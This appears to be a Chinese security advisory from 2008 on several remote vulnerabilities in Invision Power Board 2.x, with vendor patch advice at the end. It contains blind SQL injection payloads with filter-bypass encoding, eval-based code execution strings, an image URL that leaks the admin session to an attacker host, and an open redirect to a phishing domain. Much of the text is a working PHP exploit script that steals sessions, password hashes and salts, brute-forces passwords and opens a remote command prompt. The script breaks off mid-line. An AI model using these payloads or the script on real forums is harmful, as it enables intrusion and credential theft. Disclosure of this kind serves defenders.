首页 -> 安全研究

安全研究

安全漏洞
Invision Power Board多个远程安全漏洞

发布日期:2008-08-29
更新日期:2008-09-01

受影响系统:
Invision PS IPB 2.3.5
Invision PS IPB 2.2.2
描述:
BUGTRAQ  ID: 30921

Invision Power Board是一个非常流行的PHP论坛程序。

IPB论坛中存在多个远程安全漏洞,攻击者可以通过向论坛提交恶意请求导致执行任意代码或读取敏感信息。

1 SQL盲注

最新版的IPB支持Ajax技术。在试图注册的时候,IPB会检查请求是否为通过Ajax提交的,sources/action_public/xmlout.php文件中创建class_ajax对象:

  101| require_once( KERNEL_PATH . 'class_ajax.php' );
  102|
  103| $this->class_ajax           =  new class_ajax();
  104| $this->class_ajax->ipsclass =& $this->ipsclass;
  105| $this->class_ajax->class_init();

如果向index.php页面发送act=xmlout&do=check-display-name&name=A的话,就会调用check_display_name()函数:

  134| case 'check-display-name':
  135|     $this->check_display_name('members_display_name');
  136| break;
  ...|
  137| case 'check-user-name':
  138|     $this->check_display_name('name');
  139| break;

然后将通过GET方式发送的name变量传送给convert_and_make_safe()函数:
  
  985| function check_display_name( $field='members_display_name' )
  986| {
  ...|      
  991|    $name = strtolower( $this->class_ajax->convert_and_make_safe(
  ...|                        $this->ipsclass->input['name'], 0 ) );
  992|    $name = str_replace("+", "+", $name );

可见这个函数使用了rawurldecode()函数,而攻击者可以利用rawurldecode()函数函数绕过所有的过滤器(如parse_clean_value()函数)。

默认字符集为iso-8859-1或utf-8,因此parse_clean_value()函数不适用于用户提交变量,用户可以使用所有的字符:

   87| function convert_and_make_safe( $value, $parse_incoming=1 )
   88| {
   89|    $value = rawurldecode( $value );
   90|
   91|       $value = $this->convert_unicode( $value );
   92|            
   93|       // This is apparently not needed with the convert_unicode changes I made
   94|            
   95|    $value = $this->convert_html_entities( $value );
   96|         
   97|       if($parse_incoming OR
   ..|      (strtolower($this->ipsclass->vars['gb_char_set']) != 'iso-8859-1'
   98|    && strtolower($this->ipsclass->vars['gb_char_set']) != 'utf-8' ) )
   99|       {
  100|         $value = $this->ipsclass->parse_clean_value( $value );
  101|       }
  102|     
  103|       return $value;
  104|  }

然后在SQL查询中使用了变量,且没有使用add_slashes()函数,因此可以执行SQL注入攻击:

  1062| if( $field == 'members_display_name' )
  1063| {
  1064|      $check_field = 'members_l_display_name';
  1065| }
  1066| else
  1067| {
  1068|      $check_field = 'members_l_username';
  1069| }
  1070|         
  1071| $check_name = $this->ipsclass->DB->build_and_exec_query(
  ....|               array( 'select' => "{$field}, id",
  1072|                  'from'   => 'members',
  1073|                  'where'  => "{$check_field}='{$name}'",
  1074|                  'limit'  => array( 0,1 ) ) );

由于没有返回查询的结果,因此这是一种SQL盲注,攻击者只能知道返回为TRUE或FALSE:

  1076| if ( $this->ipsclass->DB->get_num_rows() )
  1077| {
  1078|     if ( $id AND $check_name['id'] == $id )
  1079|     {
  1080|          $this->class_ajax->return_string('notfound');
  1081|     }
  1082|     else
  1083|     {
  1084|      $this->class_ajax->return_string('found');
  1085|     }
  1086| }

到目前为止可以通过在查询中注入参数从members表获得值,但仍无法登录。在过滤器中:

  573| if ( ! IPS_DB_ALLOW_SUB_SELECTS )
  574| {
  575|    # On the spot allowance?
  576|             
  577|       if ( ! $this->allow_sub_select )
  578|       {
  579|           $_tmp = strtolower( $this->remove_all_quotes($the_query) );
  580|                 
  581|           if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
  582|           {
  583|           $this->fatal_error( "..." );
  584|           return false;
  585|           }
  586|                 
  587|           if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
  588|           {
  589|           $this->fatal_error( "..." );
  590|           return false;
  591|           }
  592|           else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
  593|           {
  594|           if ( count( $matches ) > 1 )
  595|           {
  596|               $this->fatal_error( "..." );
  597|               return false;
  598|           }
  599|           }
  600|        }
  601| }
  ...|
  607| $this->query_id = mysql_query($the_query, $this->connection_id);

因此UNION和SUB SELECT查询是禁用的。查询传送给了remove_all_quotes()函数:

   997| function remove_all_quotes( $t )
   998| {
  1010|         
  1011|    $t = preg_replace( "#\\\{1,}[\"']#s", "", $t );
  1012|    $t = preg_replace( "#'[^']*'#s"    , "", $t );
  1013|    $t = preg_replace( "#\"[^\"]*\"#s" , "", $t );
  1014|    $t = preg_replace( "#\"\"#s"        , "", $t );
  1015|    $t = preg_replace( "#''#s"          , "", $t );
  ....|
  1017|    return $t;
  1018| }

如果使用以下方式:

  ' OR 1="'" UNION ... OR 1="'" #

就会替换为:or 1= #

现在只要编码特殊字符:

  %2527 OR 1=%2522%2527%2522 UNION ...
  OR 1=%2522%2527%2522 #

这样就可以获得储存在数据库中的所有值,包括有效的session_id,还可以暴力猜测哈希以获得口令。利用这个漏洞无需特殊的PHP配置,且仅需guest权限。

2 不安全使用SQL口令

在以普通用户身份登录时,会发送一个名为ipb_stronghold的cookie。这个cookie是通过sources/ipsclass.php文件中的stronghold_set_cookie()函数生成的:

  1120| function stronghold_set_cookie( $member_id, $member_log_in_key )
  1121|    {
  ....|
  1135|       $ip_octets  = explode( ".", $this->my_getenv('REMOTE_ADDR') );
  1136|       $crypt_salt = md5( $this->vars['sql_pass'].$this->vars['sql_user'] );
  ....|         
  1142|    $stronghold = md5( md5( $member_id . "-" . $ip_octets[0] . '-'.
  ....|                  $ip_octets[1] . '-' . $member_log_in_key ) . $crypt_salt );    
  ....|
  1148|    $this->my_setcookie( 'ipb_stronghold', $stronghold, 1 );

由于IP地址、用户id(cookie member_id)、member_login_key变量(cookie pass_hash)都是已知的,因此可以暴力猜测SQL口令。

3 劫持管理会话

当管理员登录到管理控制台(ACP)时,会生成一个会话id。Cookie是可以删除的,因此只需SID就可以登录到ACP。SID通过GET方式发送给每个请求。

当管理员试图编辑成员签名时,如果点击了Switch between standard and rich text editor键,就会发送Ajax请求:

  GET <PATH>/index.php?act=xmlout&do=post-editorswitch

然后会将签名的BBCODE内容更改为对应的HTML形式。如果用户带有照片,就会强制浏览器发送HTTP请求:

  [img]http://haxor.com/log_headers.gif[/img]

带有.php扩展名的照片是禁用的,但攻击者可以使用Url Rewriting模块绕过限制。

浏览器会添加包含有SID值的Referer头,因此攻击者可以获得SID值。有几种情况下用户是以管理员身份登录的。如果打开了match_ipaddress选项的话,会对用户IP执行检查;如果打开了xforward_matching选项,攻击者可以伪造IP地址。在默认的配置中:

  match_ipaddress = Yes
  xforward_matching = No
  match_browser = No (user only)

攻击者可以通过跨站脚本绕过ip地址过滤,然后通过管理员浏览器发送GET/POST请求、添加其他管理员或更改选项。

4 绕过深递归保护

通过ET/POST/COOKIE发送的变量传送给了clean_globals()函数。在这种情况下,有一种防范超长数组的保护机制,限制深度为10:

  4979| function clean_globals( &$data, $iteration = 0 )
  4980| {
  4981|       // Crafty hacker could send something like &foo[][][][][][]....
  4982|       // to kill Apache process. We should never have an globals array
  ....|    // deeper than 10..
  4983|
  4984|    if( $iteration >= 10 )
  4985|    {
  4986|     return $data;
  4987|    }
  4988|     
  4989|    if( count( $data ) )
  4990|    {
  4991|        foreach( $data as $k => $v )
  4992|        {
  4993|         if ( is_array( $v ) )
  4994|         {
  4995|             $this->clean_globals( $data[ $k ], $iteration++ );
  4996|         }

由于使用了后递增运算符,因此这种保护无效。运算符返回变量的当前值然后递增,因此$iteration值不会改变,导致一直返回0。

5 执行代码

ACP允许管理员管理语言,可以选择默认语言或导入新语言并编辑。在sources/action_admin/languages.php文件中:

   65| switch($this->ipsclass->input['code'])
   66| {
   ..|
   88|  case 'doedit':
   89|    $this->ipsclass->admin->cp_permission_check(...);
   90|    $this->save_langfile();
  110|  break;
  ...|
  935|     function save_langfile()
  936|     {
  ...|
  957|       $lang_file = CACHE_PATH."cache/lang_cache/".$row['ldir'].
  ...|                 "/".$this->ipsclass->input['lang_file'];
  958|
  959|       if (! file_exists( $lang_file ) )  ...
  ...|
  963|
  964|       if (! is_writeable( $lang_file ) ) ...
  ...|
  969|       $barney = array();
  970|         
  971|       foreach ($this->ipsclass->input as $k => $v)
  972|       {
  973|         if ( preg_match( "/^XX_(\S+)$/", $k, $match ) )
  974|         {
  975|           if ( isset($this->ipsclass->input[ $match[0] ]) )
  976|           {
  977|         $v = str_replace("&#39;", "'", stripslashes($_POST[$match[0]]));
  978|         $v = str_replace("&#60;", "<",  $v );
  979|         $v = str_replace("&#62;", ">", $v );
  980|         $v = str_replace("&#38;", "&", $v );
  981|         $v = str_replace("\r", "", $v );
  982|                 
  983|         $barney[ $match[1] ] = $v;
  984|           }
  985|         }
  986|       }

可见执行了一些替换,一些HTML实体被转换为适用的字符,还调用了stripslashes()函数。更改方式如下:
  
   993|     $start = "<?php\n\n".'$lang = array('."\n";
   994|
   995|  foreach($barney as $key => $text)
   996|  {
   997|     $text   = preg_replace("/\n{1,}$/", "", $text);
   998|     $start .= "\n'".$key."'  => \"".str_replace( '"', '\"', $text)."\",";
   999|  }
  1000|         
  1001|  $start .= "\n\n);\n\n?".">";
  1002|
  1003|  if ($fh = fopen( $lang_file, 'w') )
  1004|  {
  1005|      fwrite($fh, $start );
  1006|      fclose($fh);
  1007|  }
  
因此对双引号而不是所有转义字符执行了保护。有几种绕过保护机制的方法。

首先,可以通过动态变量,使用两个$就可以执行PHP代码,例如:${${@eval($_SERVER[HTTP_SH])}}

其次,可以使用其他转义字符,如反斜线。攻击者必须更改两次输入,例如:

  第一次输入:hello\
  第二次输入:); @eval($_SERVER[HTTP_SH]); /*

6 其他

admin.php文件中存在重新定向漏洞:

  27| require_once( './init.php' );
  28| require ROOT_PATH   . "conf_global.php";
  ..|
  38| header( 'Location: '.$INFO['base_url'].'admin/index.php' );

默认配置中没有定义$INFO['base_url']变量,因此可以重新定向用户,例如:

  admin.php?INFO[base_url]=http://phishing-hax.com/

这还可能导致泄露完整路径。header()函数不接受CRLF字符以防范HTTP响应拆分攻击。init.php文件中设置了error_reporting的级别:

  210| error_reporting  (E_ERROR | E_WARNING | E_PARSE);

因此通过发送CRLF字符admin.php?INFO[base_url]=%0D%0A就可以泄露IPB的完整路径。

<*来源:DarkFig (gmdarkfig@gmail.com
  
  链接:http://marc.info/?l=bugtraq&m=122002591301532&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/php -q
<?php
error_reporting(E_ALL ^ E_NOTICE);

# yeah ... it rox (:
class ipb_spl
{
    var $web;

    function main()
    {
        $this->mhead();
        
        # Gimme your args
        $this->p_attack = $this->get_p('attack', true);
        $this->p_prox   = $this->get_p('proxhost');
        $this->p_proxa  = $this->get_p('proxauth');
        
        $this->init_global();
        
        # Proxy params
        if( $this->p_prox )
        {
            $this->web->proxy($this->p_prox);
            
            if( $this->p_proxa )
            $this->web->proxyauth($this->p_proxa);
        }

        # Where do we go ?
        switch( $this->p_attack )
        {
            case 1:     $this->code_exec();  break;
            case 2:  $this->bf_sql_pwd(); break;
            case 3:  $this->bf_usr_pwd(); break;
            default: $this->usage();
        }

        return;
    }
    
    function code_exec($loop=1)
    {
        # First loop
        if( $loop == 1 )
        {
            $this->set_sql_param();
            $this->set_sql_focus();
        
            $this->p_acp = $this->get_p('acp');
                
            # ACP path
            if( !$this->p_acp )
            {
                # If the user changed the ACP directory, we can
                # find it (if the "Remove ACP Link" option was not
                # applied) by log in as an Admin, and then click
                # on "Admin CP". This can be done with a user
                # but I didn't implemented that  ;)
                $this->msg('Using default ACP path: admin', 1);
                $this->p_acp = 'admin';
            }
            else
            $this->msg('Using ACP path "'.$this->p_acp.'"', 1);
        
            # Init client headers:
            # Only if we have the same IP as the targeted user (not admin),
            # it resets session datas, so we try to spoof our
            # IP as a random one in order to keep user's session datas while
            # we bruteforce SQL fields.
            $this->bypass_matches();
        
            # Remove expired sessions ( time() - 60*60*2  =  > 2 hours )
            $this->web->get($this->p_url.$this->p_acp.'/index.php?');
            $this->msg('Removed all out of date admin sessions', 1);
        
            # Cookie prefix
            $this->get_cprefix();
        }
                
        # Admin session ?
        $this->msg('Trying to find an admin session id', 0);
        
        # Got one :]
        if( $this->get_admin_sess() )
        {
            $this->s_admin = true;
            $this->s_sess  = $this->data['a_sess_id'];
            $this->a_url   = $this->p_url.$this->p_acp.'/index.php?adsess='.$this->s_sess;
        }
        
        # Nothing special
        else
        {
            $this->s_admin = false;
            $this->msg('No admin session id found', -1);
        }
        
        # User session ?
        if( !$this->s_sess )
        {
            $this->msg('Trying to find a user session id', 0);
            
            # Yep
            if( $this->get_user_sess() )
            $this->s_sess = $this->data['u_sess_id'];

            # F0ck
            else
            {
                $this->msg('No user session id found', -1);
                $this->msg('Admin session > 2 hours or user logged out', 0);
                $this->msg('Keeping trying until the user connects', 0);
                $this->msg('Entering loop #'.$loop.' ...', 0);
                $this->code_exec(++$loop);
            }
        }
            
        $this->msg('Getting security options', 0);
        
        # Security options
        $this->get_sec_options();
        
        # IP filter ?
        if( $this->conf['ip'] === '1' )
        {
            $this->s_bypass = true;
            
            $this->msg('IP filter option is turned on', 0);
            
            # Spoofing protection ?
            if( !$this->conf['xforward'] )
            {
                # Assuming our IP isn't the same etc..
                $this->msg('Can\'t bypass the IP filter', -1);
                exit(1);
            }
            
            # X-Forwarded-For / Client-IP /
            # Proxy-User / X-Cluster-Client-IP
            else
            {
                $this->msg('Cool, we can spoof our IP (Client-IP)', 1);
                
                if( $this->s_admin )
                {
                    $this->msg('Trying to find admin\'s last IP', 0);
                    
                    # Admin IP found
                    $this->get_admin_ip();
                    $this->s_ip = $this->data['a_ip_addr'];
                }
                else
                {
                    $this->s_admin = false;
                    $this->msg('Trying to find user\'s last used IP', 0);
                    
                    # User IP found
                    $this->get_user_ip();
                    $this->s_ip = $this->data['u_ip_addr'];
                }
                
                # Nothing found
                if( !$this->s_ip )
                {
                    # Ahah (:
                    $this->msg('No IP found for this user', -1);
                    $this->give_hope();
                }
                
                # Got one !
                else
                $this->msg('Ok, using IP '.$this->s_ip, 1);
            }
        }
        
        # User-Agent filter ?
        if( $this->conf['browser'] === '1' && !$this->s_admin )
        {
            $this->s_bypass = true;
            
            $this->msg('Trying to find a valid user-agent', 0);
            
            # Good
            if( $this->get_user_agent() )
            {
                $this->msg('Ok, using user-agent '.substr($this->data['u_agent'], 0, 10).'...', 1);
                $this->s_agent = $this->data['u_agent'];
            }
            
            # WTF :!
            else
            {
                $this->msg('No user-agent found for this user', -1);
                $this->msg('Maybe the browser didn\'t send this header', 0);
                $this->s_agent = '';
            }
            
        }

        # Cool !?
        if( !$this->s_bypass )
        $this->msg('Cool, nothing to bypass', 1);
        
        $this->msg('Trying to log in', 0);
        
        # Owned =]
        if( $this->is_logged() )
        {
            # PHP code
            if( $this->s_admin )
            {
                $this->msg('Logged in with an admin session', 1);
                $this->exec_code();
            }
            
            # Normal user ?
            else
            {
                $this->msg('Logged in with a user session', 1);
                $this->msg('You can log in using the cookie session_id', 1);

                if( $this->s_ip !== $this->def_ip )
                $this->msg('Set the Client-IP header to: '.$this->s_ip, 1);
                
                if( $this->s_agent )
                $this->msg('Set the User-Agent header to: '.$this->s_agent, 1);
                
                exit(0);
            }
        }
        else
        {
            # Even if the admin logged out .. the admin session
            # is still valid  ;)
            $this->msg('Can\'t log in, the session has expired ?!', -1);
            $this->give_hope();
        }
        
        return;
    }
    
    function bf_sql_pwd()
    {
        $this->p_ip    = $this->get_p('ip', true);
        $this->p_dict  = $this->get_p('dict', true);
        
        $this->p_sql_u = $this->get_p('sqlusr');
        
        $this->p_url   = $this->get_p('url');
        $this->p_uname = $this->get_p('uname');
        $this->p_pwd   = $this->get_p('pwd');
        // or
        $this->p_uid   = $this->get_p('uid');
        $this->p_hash  = $this->get_p('passhash');
        $this->p_shold = $this->get_p('stronghold');
        
        if( $this->p_uname && $this->p_pwd && $this->p_url )
        {
            $this->get_cprefix();
            
            $this->msg('Trying to get some cookies', 0);
            
            $g_dat = 'index.php?act=Login&CODE=01&CookieDate=1';
            $p_dat = 'UserName='.$this->p_uname.'&PassWord='.$this->p_pwd.'&x=0&y=0';
        
            $this->web->post($this->p_url.$g_dat, $p_dat);
        
            $this->p_uid   = $this->web->cookie[$this->s_cprefix.'member_id'];
            $this->p_hash  = $this->web->cookie[$this->s_cprefix.'pass_hash'];
            $this->p_shold = $this->web->cookie[$this->s_cprefix.'ipb_stronghold'];
        }
        elseif( !$this->p_uid || !$this->p_hash || !$this->p_shold )
        $this->usage();
        
        if( !$this->p_uid || !$this->p_hash || !$this->p_shold )
        {
            $this->msg('Can\'t get cookies', -1);
            $this->msg('You should try with other parameters', -1);
            exit(1);
        }
        
        $this->msg('Ok, using cookies:', 1);
        
        $this->msg('member_id='.$this->p_uid, 1);
        $this->msg('pass_hash='.$this->p_hash, 1);
        $this->msg('ipb_stronghold='.$this->p_shold, 1);
        
        if( !$this->p_sql_u )
        {
            $this->set_sql_param();
            
            $this->msg('Trying to get the current sql user', 0);
            
            if( !$this->get_sql_user() )
            {
                $this->msg('Can\'t get the sql user', -1);
                $this->msg('If you know the sql user, use -sqlusr', -1);
                exit(1);
            }
            else
            $this->p_sql_u = $this->data['sql_user'];
        }
        
        $this->msg('Ok, using sql user '.$this->p_sql_u, 1);
        
        $dico_c = file($this->p_dict);
        $ip_a   = explode('.', $this->p_ip);
        
        $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
        $this->msg('You should take a drink ...', 0);
        
        foreach( $dico_c as $line )
        {
            $md5 = md5(trim($line).$this->p_sql_u);
            $md5 = md5($this->p_uid.'-'.$ip_a[0].'-'.$ip_a[1].'-'.$this->p_hash).$md5;
            $md5 = md5($md5);

            if( $this->p_shold === $md5 )
            {
                $this->msg('Found something cool =]', 1);
                $this->msg('SQL password: '.$line, 1);
                exit(1);
            }

        }
        
        $this->msg('End of the wordlist, password not found', -1);
        
        return;
    }

    function bf_usr_pwd()
    {
        $this->p_dict  = $this->get_p('dict', true);

        $this->p_hash  = $this->get_p('passhash');
        $this->p_salt  = $this->get_p('salt');
        
        if( !$this->p_hash || !$this->p_salt )
        {
            $this->set_sql_param();
            $this->set_sql_focus();
        }
        
        if( !$this->p_hash )
        {
            $this->msg('Trying to get the password hash', 0);
            
            if( !$this->get_pass_hash() )
            {
                $this->msg('Can\'t get the password hash', -1);
                exit(1);
            }
            else
            $this->p_hash = $this->data['pass_hash'];
        }
        
        $this->msg('Ok, using hash '.$this->p_hash, 1);
        
        if( !$this->p_salt )
        {
            $this->msg('Trying to get the password salt', 0);
            
            if( !$this->get_pass_salt() )
            {
                $this->msg('Can\'t get the password salt', -1);
                exit(1);
            }
            else
            $this->p_salt = $this->data['pass_salt'];
        }
        
        $this->msg('Ok, using salt '.$this->p_salt, 1);
        
        $dico_c = file($this->p_dict);
        
        $this->msg('Entering local dictionnary attack ('.count($dico_c).' words)', 0);
        $this->msg('You should take a drink ...', 0);
        
        foreach( $dico_c as $line )
        {
            if( $this->p_hash === md5(md5($this->p_salt).md5(trim($line))) )
            {
                $this->msg('Found something cool =]', 1);
                $this->msg('User password: '.$line, 1);
                exit(1);
            }
        }
        
        $this->msg('End of the wordlist, password not found', -1);
        
        return;
    }
    
    function set_sql_param()
    {
        $this->p_url   = $this->get_p('url', true);
        $this->p_pre   = $this->get_p('prefix');
        
        # Table prefix
        if( !$this->p_pre )
        {
            # Default table prefix if not precised
            $this->msg('Using default table prefix: ibf_', 1);
            $this->p_pre = 'ibf_';
        }
        else
        $this->msg('Using table prefix '.$this->p_pre, 1);

    }
    
    function set_sql_focus()
    {
        $this->p_uname = $this->get_p('uname');
        $this->p_uid   = $this->get_p('uid');
        
        if( $this->p_uname )
        $this->msg('Using targeted username '.$this->p_uname, 1);
        
        elseif( $this->p_uid )
        $this->msg('Using targeted user id '.$this->p_uid, 1);
        
        # Target
        if( !($this->p_uname || $this->p_uid) )
        {
            # Default uid if not precised
            $this->msg('Using default user id: 1', 1);
            $this->p_uid = 1;
        }

        # Focus on ?
        if( $this->p_uname )
        $this->t_on = 'members_l_username=\''.addslashes($this->p_uname).'\'';
        
        else
        $this->t_on = 'id='.(int)$this->p_uid;
        
        return;
    }
    
    function exec_code()
    {
        $this->write_code();
        
        while( $this->cmd_prompt() )
        {
            $this->web->addheader('My-Code', $this->cmd);
            $this->web->get($this->p_url);

            print "\n".$this->get_answer();
        }
        
        exit(0);
    }
    
    function get_answer()
    {
        $res_a = explode($this->res_sep, $this->web->getcontent());
        
        if( !$res_a[1] )
        return 'No result to retrieve';
        
        else
        return $res_a[1];
    }
    
    function cmd_prompt()
    {
        $this->cmd = $this->msg('root@ipb: ', 1, 1, 0, true);
        
        if( !ereg('^(quit|exit)$', $this->cmd) )
        {        
            $this->cmd = base64_encode($this->cmd);
            $this->cmd = str_replace('%CMD%', $this->cmd, $this->php_send);
            
            return TRUE;
        }

        else
           return FALSE;
    }
    
    function write_code()
    {
        # Gimme the language ID
        $this->get_def_lang();
        
        # Current lang settings
        $p_dat =
        'code=edit2&act=lang&id='.$this->g_lid.'&section'.
        '=lookandfeel&lang_file=lang_boards.php';
        
        $this->web->post($this->a_url, $p_dat);

        # We collect each variable name / value
        if( preg_match_all($this->reg_lvar, $this->web->getcontent(), $l_vars) )
        {
            # POST data
            $p_dat =
            'code=doedit&act=lang&id='.$this->g_lid.
            '&lang_file=lang_boards.php&section=lo'.
            'okandfeel&';

            # &Name=Value
            for( $i=0; $i<count($l_vars[0]); $i++ )
            {
                $p_dat .=
                '&XX_'.$l_vars[1][$i].'='.urlencode($l_vars[2][$i]);
                
                # We write our PHP code in the first variable
                if( $i == 0 )
                $p_dat .= $this->php_write;
            }
            
            # Go on
            $this->web->post($this->a_url, $p_dat);
            
            $this->msg('PHP code written', 1);
        }
        else
        {
            # WTF :!
            $this->msg('Can\'t find block variables', 0);
            exit(1);
        }
        
        return;
    }
    
    function get_def_lang()
    {
        $this->msg('Trying to get the set language id', 0);
        
        $this->web->get($this->a_url.'&section=lookandfeel&act=lang');
        
        if( preg_match($this->reg_lang, $this->web->getcontent(), $lids) )
        {
            $this->g_lid = $lids[1];
            $this->msg('Using language id '.$this->g_lid, 1);
        }
        else
        {
            $this->msg('Can\'t get the default language id', -1);
            exit(1);
        }
        
        return;
    }
    
    function is_logged()
    {
        $this->bypass_matches();

        # User session ok ?
        if( !$this->s_admin )
        {
            $match = 'act=Login&amp;CODE=03';
            $this->web->addcookie($this->s_cprefix.'session_id', $this->s_sess);
            $this->web->get($this->p_url);
        }
        
        # Admin session ok ?
        else
        {
            $match = '&section=';
            $this->web->get($this->a_url);
        }
        
        if( preg_match("/$match/i", $this->web->getcontent()) )
        return true;
        
        else
        return false;        
    }
    
    function bypass_matches()
    {
        # match_browser
        $this->web->agent($this->s_agent);
        
        # match_ipaddress
        $this->web->addheader('Client-IP', $this->s_ip);
        
        return;
    }
    
    function get_cprefix()
    {
        $this->msg('Trying to get the cookie prefix', 0);
                
        # Set-Cookie: session_id=...; path=/
        $this->web->get($this->p_url);
        
        $this->s_cprefix = '';
        
        if( $this->web->cookie )
        {
            foreach( $this->web->cookie as $name => $value)
            {
                if( preg_match($this->reg_cpre, $name, $cmatches) )
                {
                    $this->s_cprefix = $cmatches[1];
                    break;
                }
            }
        }
        
        if( !$this->s_cprefix )
        $this->msg('No cookie prefix set', 1);
        
        else
        $this->msg('Using cookie prefix '.$this->s_cprefix, 1);
        
        return;
    }
    
    function get_sec_options()
    {
        # If no value, take the default one
        $this->get_conf('t.conf_value');
        $this->get_conf('t.conf_default');
        
        return;
    }
    
    function get_conf($field)
    {
        $this->init_sql();
        
        $this->t_table = 'conf_settings';    
        $this->t_field = $field;
        $this->t_char  = $this->chr_num;
        
        $this->t_add_0 = "AND t.conf_key='match_browser'";

        if( $this->conf['browser'] === '' )
        $this->conf['browser'] = $this->bf_inj();

        $this->t_add_0 = "AND t.conf_key='match_ipaddress'";
        
        if( $this->conf['ip'] === '' )
        $this->conf['ip'] = $this->bf_inj();
        
        $this->t_add_0 = "AND t.conf_key='xforward_matching'";
        
        if( $this->conf['xforward'] === '' )
        $this->conf['xforward'] = $this->bf_inj();

        return;
    }
    
    function get_login_key()
    {
        $this->init_sql();
        
        $this->t_key             = 'login_key';
        $this->t_table           = 'members';
        $this->t_field           = 't.member_login_key';
        $this->t_join            = 't.id=m.id';
        $this->t_char            = $this->chr_md5;
        $this->data['login_key'] = $this->bf_inj();
        
        return $this->key_val;
    }
    
    function get_sql_user()
    {
        $this->init_sql();
        
        $this->t_key             = 'user()';
        $this->t_table           = 'members';
        $this->t_field           = 'user()';
        $this->t_char            = $this->chr_all;
        $this->t_end             = '@';
        $this->data['sql_user']  = $this->bf_inj();
        
        return $this->key_val;
    }
    
    function get_pass_hash()
    {
        $this->init_sql();
        
        $this->t_key             = 'pass_hash';
        $this->t_table           = 'members_converge';
        $this->t_field           = 't.converge_pass_hash';
        $this->t_join            = 't.converge_email=m.email';
        $this->t_char            = $this->chr_md5;
        $this->data['pass_hash'] = $this->bf_inj();
        
        return $this->key_val;
    }
    
    function get_pass_salt()
    {    
        $this->init_sql();
        
        $this->t_key             = 'pass_salt';
        $this->t_table           = 'members_converge';
        $this->t_field           = 't.converge_pass_salt';
        $this->t_join            = 't.converge_email=m.email';
        $this->t_char            = $this->chr_all;
        $this->data['pass_salt'] = $this->bf_inj();
        
        return $this->key_val;
    }
    
    function get_admin_sess()
    {
        $this->init_sql();
        
        $this->t_key             = 'admin_sid';
        $this->t_table           = 'admin_sessions';
        $this->t_field           = 't.session_id';
        $this->t_join            = 't.session_member_id=m.id';
        $this->t_sel             = 't.session_log_in_time';
        $this->t_char            = $this->chr_md5;
        $this->data['a_sess_id'] = $this->bf_inj();
        
        return $this->key_val;
    }
    
    function get_admin_ip()
    {
        $this->init_sql();
        
        $this->t_key             = 'admin_ip';
        $this->t_table           = 'admin_sessions';
        $this->t_field           = 't.session_ip_address';
        $this->t_join            = 't.session_member_id=m.id';
        $this->t_sel      &nb

建议:
厂商补丁:

Invision PS
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://forums.invisionpower.com/index.php?showtopic=276512

浏览次数:3748
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障